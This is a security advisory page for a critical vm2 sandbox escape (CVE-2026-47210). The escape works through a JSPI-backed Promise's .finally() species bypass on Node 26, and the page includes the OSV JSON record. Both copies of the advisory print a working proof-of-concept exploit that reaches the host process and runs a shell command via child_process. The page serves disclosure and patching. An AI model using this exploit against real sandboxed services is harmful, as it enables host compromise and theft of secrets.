GHSA-6J2X-VHQR-QR7Q

Vulnerability from github – Published: 2026-05-29 17:51 – Updated: 2026-06-12 20:55
VLAI
Summary
vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass
Details

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));

Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

  • any application using vm2 to execute attacker-controlled JavaScript as a security boundary
  • especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

  • arbitrary command execution in the host process
  • arbitrary file read / write accessible to the host process
  • theft of secrets, tokens, credentials, and application data
  • complete compromise of services relying on vm2 isolation
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:51:05Z",
    "nvd_published_at": "2026-06-12T15:16:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object\u0027s constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`\u0027s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=\u003e{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=\u003eWebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=\u003e{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=\u003e{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=\u003e{\n    let P=e.constructor.constructor(\u0027return process\u0027)()\n    P.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,\u0027constructor\u0027,{get(){return F}});p.finally(()=\u003e{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation",
  "id": "GHSA-6j2x-vhqr-qr7q",
  "modified": "2026-06-12T20:55:08Z",
  "published": "2026-05-29T17:51:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…